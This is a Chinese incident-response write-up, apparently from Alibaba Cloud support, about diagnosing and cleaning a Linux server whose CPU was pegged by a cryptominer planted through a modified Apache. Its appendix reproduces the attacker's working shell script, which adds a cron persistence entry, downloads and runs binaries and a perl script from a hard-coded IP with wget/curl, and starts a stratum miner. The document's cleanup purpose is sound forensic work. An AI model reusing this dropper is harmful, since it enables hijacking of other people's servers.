首页 > 代码库 > Linux系统cpu 100%修复案例

Linux系统cpu 100%修复案例

Linux系统cpu 100%修复案例

?阿里云技术支持团队:完颜镇江

 

案例背景:

Linux主机连续三天CPU%

 

处理思路:

1、  登录服务器查看/var/log/messages+/var/log/messages.1+/var/log/messages.3里恰好没那三天的日志

 

2、  dmesg里也无有用的信息

?

3、  至此怀疑是被攻击了,自然而然的去看对应时间点的带宽占用情况,查看之后发现带宽一切正常,继续排查

 

4、  怀疑是某个程序的异常,首先的从web进程开始查,通过httpd的erorr_log发现了异常的现象,httpd程序被修改过,执行的脚本就是附录的shell脚本

2014-09-0319:19:50 (124 KB/s) - “plm” saved [26587/26587]

 

FINISHED--2014-09-03 19:19:50--

Downloaded:1 files, 26K in 0.2s (124 KB/s)

+ perlplm

+ rm -rfplm

+ chmod+x apache

+ chmod+x apache-ssl

++ ps x

++ grep-v grep

++ awk‘{print $1}‘

++ grep stratum

+ kill -9

kill:usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l[sigspec]

+ killall-9 kav m32 m64 apache apache-ssl

kav: noprocess killed

m32: noprocess killed

m64: noprocess killed

apache:no process killed

apache-ssl:no process killed

+ PATH=.

+ apache-c httpd.conf

a.sh:./apache: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory

[root@iZ23vqwi2k5Z~]# + PATH=.

+apache-ssl -c httpd.conf

[2014-09-0319:19:50] Starting Stratum on stratum+tcp://80.240.137.183:3333/

[2014-09-0319:19:50] 2 miner threads started, using ‘scrypt‘ algorithm.

[2014-09-0319:19:50] Binding thread 0 to cpu 0

[2014-09-0319:19:50] Binding thread 1 to cpu 1

[2014-09-0319:19:51] Stratum detected new block

[2014-09-0319:20:02] Stratum detected new block

[2014-09-03 19:22:53] Stratum detected new block

 

5、  在阿里云的测试机器上,通过运行这个脚本,测试运行的过程中cpu持续100%,httpd的error_log的内容和客户机器上的基本一致,(看来是基本功没做好的黑客,屁股没擦干净)至此已经完全定位问题,怀疑是服务器web程序被修改拿来干坏事(怀疑挖矿)

 

6、  清除异常进程的的思路,按照脚本内容做大致的推测

 

(1)、首先想到的是删除异常目录文件

# rm -rf /dev/shm/*(删除)

 

(2)、ps到具体的进程kill掉

#Ps aux|grep apche

#root      1615  199 0.1 314992  4200 pts/0    Sl  19:19  37:38 apache-ssl -chttpd.conf

#pkill -9 apache

#ps aux|grep apache|awk ‘{print $2}‘|xargs kill -9(删除恶意进程)

 

(3)、以上操作执行之后发现异常目录文件再次生成,apache-ssl进程再次启动,查看脚本里有对cron的操作,把cron清空,再次执行之上的动作就可以了

# crontab –l 

* * * * * /dev/shm/update >/dev/null 2>&1

 

(4)、试着重新启动httpd进程,发现失败,查看日志是配置文件的异常,查看httpd.conf出现bak的备份文件,良心黑客啊,干坏事不忘记先给客户备份文件。

# pwd

/alidata/server/httpd/conf

# cp httpd.conf.bak httpd.conf

# /etc/init.d/httpd start(此步骤httpd进程恢复)

 

7、  附录恶意用户的shell内容

#!/bin/sh

crontab-r

cd/dev/shm

rm -rf a*c* update*

pwd >mech.dir

dir=$(catmech.dir)

echo"* * * * * $dir/update >/dev/null 2>&1" > cron.d

crontabcron.d

crontab-l | grep update

wget 173.255.212.191/update>> /dev/null &&

curl -Ohttp://173.255.212.191/update >> /dev/null &&

chmod u+xupdate

 

#chattr-ia bash

#chattr-ia *

curl -Ohttp://173.255.212.191/apache

curl -Ohttp://173.255.212.191/apache-ssl

crul -Ohttp://173.255.212.191/httpd.conf

wget173.255.212.191/httpd.conf

wgethttp://173.255.212.191/apache

wgethttp://173.255.212.191/apache-ssl

wget wgethttp://173.255.212.191/plm

perl plm

rm -rfplm*

chmod +xapache

chmod +xapache-ssl

#kill -9`ps x|grep miner|grep -v grep|awk ‘{print $1}‘`

kill -9`ps x|grep stratum|grep -v grep|awk ‘{print $1}‘`

killall-9 kav m32 m64 apache apache-ssl

PATH="."apache -c httpd.conf &

PATH="."apache-ssl -c httpd.conf &

#chattr+ia bash

#chattr +ia sh

 

处理的思路是这样的,比较彻底的是备份数据重置系统(推荐的做法)

Linux系统cpu 100%修复案例